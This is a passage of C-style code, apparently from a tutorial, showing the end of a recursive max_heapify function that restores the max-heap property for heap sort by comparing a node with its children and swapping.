  int r = 2 * i + 2;
  int max;
  if (l < heap_size && nums[l] > nums[i]) {
    max = l;
  } else {
    max = i;
  }
  if (r < heap_size && nums[r] > nums[max]) {
    max = r;
  }
  if (max != i) {
    swap(nums, i, max);
    max_heapify(nums, heap_size, max);
  }
}
```